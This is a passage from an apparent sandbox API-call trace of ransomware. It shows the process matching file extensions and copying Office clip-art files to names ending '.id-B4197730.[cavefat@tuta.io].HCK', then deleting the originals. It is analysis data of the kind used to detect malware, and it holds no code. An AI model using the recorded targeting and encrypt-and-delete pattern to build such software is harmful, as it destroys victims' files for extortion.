returned -1 [0234.046] lstrlenW (lpString=".7z") returned 3 [0234.046] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0234.046] lstrlenW (lpString=".dbf") returned 4 [0234.046] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0234.046] lstrlenW (lpString=".1cd") returned 4 [0234.046] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0234.046] lstrlenW (lpString=".jpg") returned 4 [0234.046] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.046] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0234.046] lstrlenW (lpString="J0107350.WMF") returned 12 [0234.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107350.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0234.047] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=23672) returned 1 [0234.047] CloseHandle (hObject=0x454) returned 1 [0234.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107350.wmf")) returned 0x220 [0234.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107350.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0234.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107350.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0234.047] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.047] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107350.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0234.048] GetLastError () returned 0x0 [0234.048] ReadFile (in: hFile=0x454, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x5c78, lpOverlapped=0x0) returned 1 [0234.050] WriteFile (in: hFile=0x4ac, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x5c80, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x5c80, lpOverlapped=0x0) returned 1 [0234.051] ReadFile (in: hFile=0x454, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0234.051] WriteFile (in: hFile=0x4ac, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0234.051] SetEndOfFile (hFile=0x4ac) returned 1 [0234.051] CloseHandle (hObject=0x4ac) returned 1 [0234.051] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.051] SetEndOfFile (hFile=0x454) returned 1 [0234.053] CloseHandle (hObject=0x454) returned 1 [0234.053] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0234.053] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107350.wmf")) returned 1 [0234.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0234.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0234.379] lstrlenW (lpString=".doc") returned 4 [0234.380] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.380] lstrlenW (lpString=".docx") returned 5 [0234.380] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0234.380] lstrlenW (lpString=".pdf") returned 4 [0234.380] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.380] lstrlenW (lpString=".xls") returned 4 [0234.380] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.380] lstrlenW (lpString=".xlsx") returned 5 [0234.380] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0234.380] lstrlenW (lpString=".ppt") returned 4 [0234.380] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0234.380] lstrlenW (lpString=".zip") returned 4 [0234.380] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.380] lstrlenW (lpString=".rar") returned 4 [0234.380] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.380] lstrlenW (lpString=".bz2") returned 4 [0234.380] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.380] lstrlenW (lpString=".7z") returned 3 [0234.380] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0234.380] lstrlenW (lpString=".dbf") returned 4 [0234.380] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0234.380] lstrlenW (lpString=".1cd") returned 4 [0234.380] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0234.380] lstrlenW (lpString=".jpg") returned 4 [0234.380] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0234.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0234.380] lstrlenW (lpString=".doc") returned 4 [0234.380] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.380] lstrlenW (lpString=".docx") returned 5 [0234.380] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0234.380] lstrlenW (lpString=".pdf") returned 4 [0234.380] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.380] lstrlenW (lpString=".xls") returned 4 [0234.380] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.380] lstrlenW (lpString=".xlsx") returned 5 [0234.380] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0234.380] lstrlenW (lpString=".ppt") returned 4 [0234.380] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0234.381] lstrlenW (lpString=".zip") returned 4 [0234.381] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.381] lstrlenW (lpString=".rar") returned 4 [0234.381] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.381] lstrlenW (lpString=".bz2") returned 4 [0234.381] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.381] lstrlenW (lpString=".7z") returned 3 [0234.381] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0234.381] lstrlenW (lpString=".dbf") returned 4 [0234.381] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0234.381] lstrlenW (lpString=".1cd") returned 4 [0234.381] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0234.381] lstrlenW (lpString=".jpg") returned 4 [0234.381] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.381] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0234.381] lstrlenW (lpString="J0107484.WMF") returned 12 [0234.381] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107484.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0234.724] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=3040) returned 1 [0234.724] CloseHandle (hObject=0x4c8) returned 1 [0234.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107484.wmf")) returned 0x220 [0234.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107484.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0234.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107484.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0234.726] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.726] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107484.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0234.727] GetLastError () returned 0x0 [0234.727] ReadFile (in: hFile=0x4c8, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0xbe0, lpOverlapped=0x0) returned 1 [0234.728] WriteFile (in: hFile=0x4cc, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xbf0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xbf0, lpOverlapped=0x0) returned 1 [0234.729] ReadFile (in: hFile=0x4c8, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0234.729] WriteFile (in: hFile=0x4cc, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0234.729] SetEndOfFile (hFile=0x4cc) returned 1 [0234.729] CloseHandle (hObject=0x4cc) returned 1 [0234.729] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.729] SetEndOfFile (hFile=0x4c8) returned 1 [0234.732] CloseHandle (hObject=0x4c8) returned 1 [0234.732] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0234.732] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107484.wmf")) returned 1 [0234.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68 [0234.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68 [0234.733] lstrlenW (lpString=".doc") returned 4 [0234.733] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.733] lstrlenW (lpString=".docx") returned 5 [0234.733] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0234.733] lstrlenW (lpString=".pdf") returned 4 [0234.733] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.733] lstrlenW (lpString=".xls") returned 4 [0234.733] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.733] lstrlenW (lpString=".xlsx") returned 5 [0234.733] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0234.733] lstrlenW (lpString=".ppt") returned 4 [0234.733] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68 [0234.733] lstrlenW (lpString=".zip") returned 4 [0234.733] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.733] lstrlenW (lpString=".rar") returned 4 [0234.733] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.733] lstrlenW (lpString=".bz2") returned 4 [0234.733] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.733] lstrlenW (lpString=".7z") returned 3 [0234.733] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68 [0234.733] lstrlenW (lpString=".dbf") returned 4 [0234.733] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68 [0234.734] lstrlenW (lpString=".1cd") returned 4 [0234.734] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68 [0234.734] lstrlenW (lpString=".jpg") returned 4 [0234.734] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68 [0234.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68 [0234.734] lstrlenW (lpString=".doc") returned 4 [0234.734] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.734] lstrlenW (lpString=".docx") returned 5 [0234.734] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0234.734] lstrlenW (lpString=".pdf") returned 4 [0234.734] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.734] lstrlenW (lpString=".xls") returned 4 [0234.734] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.734] lstrlenW (lpString=".xlsx") returned 5 [0234.734] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0234.734] lstrlenW (lpString=".ppt") returned 4 [0234.734] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68 [0234.734] lstrlenW (lpString=".zip") returned 4 [0234.734] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.734] lstrlenW (lpString=".rar") returned 4 [0234.734] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.734] lstrlenW (lpString=".bz2") returned 4 [0234.734] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.734] lstrlenW (lpString=".7z") returned 3 [0234.734] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68 [0234.734] lstrlenW (lpString=".dbf") returned 4 [0234.734] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68 [0234.734] lstrlenW (lpString=".1cd") returned 4 [0234.734] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68 [0234.734] lstrlenW (lpString=".jpg") returned 4 [0234.734] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.734] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0234.734] lstrlenW (lpString="J0107488.WMF") returned 12 [0234.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107488.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0234.736] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=8000) returned 1 [0234.736] CloseHandle (hObject=0x4c8) returned 1 [0234.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107488.wmf")) returned 0x220 [0234.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107488.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0234.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107488.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0234.736] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.736] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107488.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0234.737] GetLastError () returned 0x0 [0234.737] ReadFile (in: hFile=0x4c8, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x1f40, lpOverlapped=0x0) returned 1 [0234.739] WriteFile (in: hFile=0x4cc, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x1f50, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x1f50, lpOverlapped=0x0) returned 1 [0234.739] ReadFile (in: hFile=0x4c8, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0234.740] WriteFile (in: hFile=0x4cc, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0234.740] SetEndOfFile (hFile=0x4cc) returned 1 [0234.740] CloseHandle (hObject=0x4cc) returned 1 [0234.740] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.740] SetEndOfFile (hFile=0x4c8) returned 1 [0234.743] CloseHandle (hObject=0x4c8) returned 1 [0234.743] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0234.743] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107488.wmf")) returned 1 [0234.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0234.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0234.744] lstrlenW (lpString=".doc") returned 4 [0234.744] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.744] lstrlenW (lpString=".docx") returned 5 [0234.744] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0234.744] lstrlenW (lpString=".pdf") returned 4 [0234.744] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.744] lstrlenW (lpString=".xls") returned 4 [0234.744] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.744] lstrlenW (lpString=".xlsx") returned 5 [0234.744] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0234.744] lstrlenW (lpString=".ppt") returned 4 [0234.744] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0234.744] lstrlenW (lpString=".zip") returned 4 [0234.744] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.744] lstrlenW (lpString=".rar") returned 4 [0234.744] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.744] lstrlenW (lpString=".bz2") returned 4 [0234.745] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.745] lstrlenW (lpString=".7z") returned 3 [0234.745] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0234.745] lstrlenW (lpString=".dbf") returned 4 [0234.745] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0234.745] lstrlenW (lpString=".1cd") returned 4 [0234.745] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0234.745] lstrlenW (lpString=".jpg") returned 4 [0234.745] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0234.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0234.745] lstrlenW (lpString=".doc") returned 4 [0234.745] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.745] lstrlenW (lpString=".docx") returned 5 [0234.745] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0234.745] lstrlenW (lpString=".pdf") returned 4 [0234.745] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.745] lstrlenW (lpString=".xls") returned 4 [0234.745] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.745] lstrlenW (lpString=".xlsx") returned 5 [0234.745] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0234.745] lstrlenW (lpString=".ppt") returned 4 [0234.745] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0234.745] lstrlenW (lpString=".zip") returned 4 [0234.745] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.745] lstrlenW (lpString=".rar") returned 4 [0234.745] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.745] lstrlenW (lpString=".bz2") returned 4 [0234.745] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.745] lstrlenW (lpString=".7z") returned 3 [0234.745] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0234.745] lstrlenW (lpString=".dbf") returned 4 [0234.745] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0234.745] lstrlenW (lpString=".1cd") returned 4 [0234.745] lstrcmpiW 